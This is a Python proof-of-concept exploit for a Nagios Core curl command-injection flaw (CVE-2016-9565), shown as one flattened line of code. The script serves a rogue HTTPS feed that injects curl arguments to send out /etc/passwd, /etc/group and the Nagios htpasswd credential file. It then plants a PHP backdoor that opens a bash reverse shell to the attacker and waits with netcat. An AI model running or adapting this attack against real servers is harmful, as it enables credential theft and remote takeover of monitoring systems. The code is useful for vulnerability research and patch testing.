Nagios Core < 4.2.2 Curl Command Injection/Code Execution （CVE-2016-9565）

""" This PoC exploit can allow well-positioned attackers to extract and write arbitrary files on the Nagios server which can lead to arbitrary code execution on Nagios deployments that follow the official Nagios installation guidelines. For details, see the full advisory at: https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html PoC Video: https://legalhackers.com/videos/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html Usage: ./nagios_cmd_injection.py reverse_shell_ip [reverse_shell_port] Disclaimer: For testing purposes only. Do no harm. """ import os import sys import time import re import tornado.httpserver import tornado.web import tornado.ioloop exploited = 0 docroot_rw = 0 class MainHandler(tornado.web.RequestHandler): def get(self): global exploited if (exploited == 1): self.finish() else: ua = self.request.headers['User-Agent'] if "Magpie" in ua: print "[+] Received GET request from Nagios server (%s) ! Sending redirect to inject our curl payload:\n" % self.request.remote_ip print '-Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path + '\n' self.redirect('https://' + self.request.host + '/nagioshack -Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path, permanent=False) exploited = 1 def post(self): global docroot_rw print "[+] Success, curl payload injected! Received data back from the Nagios server %s\n" % self.request.remote_ip # Extract /etc/passwd from the target passwd = self.request.files['passwd'][0]['body'] print "[*] Contents of /etc/passwd file from the target:\n\n%s" % passwd # Extract /usr/local/nagios/etc/htpasswd.users htauth = self.request.files['htauth'][0]['body'] print "[*] Contents of /usr/local/nagios/etc/htpasswd.users file:\n\n%s" % htauth # Extract nagios group from /etc/group group = self.request.files['group'][0]['body'] for line in group.splitlines(): if "nagios:" in line: nagios_group = line print "[*] Retrieved nagios group line from /etc/group file on the target: %s\n" % nagios_group if "www-data" in nagios_group: print "[+] Happy days, 'www-data' user belongs to 'nagios' group! (meaning writable webroot)\n" docroot_rw = 1 # Put backdoor PHP payload within the 'Server' response header so that it gets properly saved via the curl 'trace-ascii' # option. The output trace should contain an unwrapped line similar to: # # == Info: Server <?php system("/bin/bash -c 'nohup bash -i >/dev/tcp/192.168.57.3/8080 0<&1 2>&1 &'"); ?> is not blacklisted # # which will do the trick as it won't mess up the payload :) self.add_header('Server', backdoor) # Return XML/feed with JavaScript payload that will run the backdoor code from nagios-backdoor.php via <img src=> tag :) print "[*] Feed XML with JS payload returned to the client in the response. This should load nagios-backdoor.php in no time :) \n" self.write(xmldata) self.finish() tornado.ioloop.IOLoop.instance().stop() if __name__ == "__main__": global backdoor_path global backdoor print intro # Set attacker's external IP & port to be used by the reverse shell if len(sys.argv) < 2 : print usage sys.exit(2) attacker_ip = sys.argv[1] if len(sys.argv) == 3 : attacker_port = sys.argv[1] else: attacker_port = 8080 # PHP backdoor to be saved on the target Nagios server backdoor_path = '/usr/local/nagios/share/nagios-backdoor.php' backdoor = """<?php system("/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1 &'"); die("stop processing"); ?>""" % (attacker_ip, attacker_port) # Feed XML containing JavaScript payload that will load the nagios-backdoor.php script global xmldata xmldata = """<?xml version="1.0"?> <rss version="2.0"> <channel> <title>Nagios feed with injected JS payload</title> <item> <title>Item 1</title> <description> &lt;strong&gt;Feed injected. Here we go &lt;/strong&gt; - loading /nagios/nagios-backdoor.php now via img tag... check your netcat listener for nagios shell ;) &lt;img src=&quot;/nagios/nagios-backdoor.php&quot; onerror=&quot;alert('Reverse Shell /nagios/nagios-backdoor.php executed!')&quot;&gt; </description> </item> </channel> </rss> """ # Generate SSL cert print "[+] Generating SSL certificate for our python HTTPS web server \n" os.system("echo -e '\n\n\n\n\n\n\n\n\n' | openssl req -nodes -new -x509 -keyout server.key -out server.cert 2>/dev/null") print "[+] Starting the web server on ports 80 & 443 \n" application = tornado.web.Application([ (r'/.*', MainHandler) ]) application.listen(80) http_server = tornado.httpserver.HTTPServer( application, ssl_options = { "certfile": os.path.join("./", "server.cert"), "keyfile": os.path.join("./", "server.key"), } ) http_server.listen(443) print "[+] Web server ready for connection from Nagios (http://target-svr/nagios/rss-corefeed.php). Time for your dnsspoof magic... ;)\n" tornado.ioloop.IOLoop.current().start() if (docroot_rw == 1): print "[+] PHP backdoor should have been saved in %s on the target by now!\n" % backdoor_path print "[*] Spawning netcat and waiting for the nagios shell\n" os.system("nc -v -l -p 8080") print "\n[+] Shell closed\n" print "[+] That's all. Exiting\n"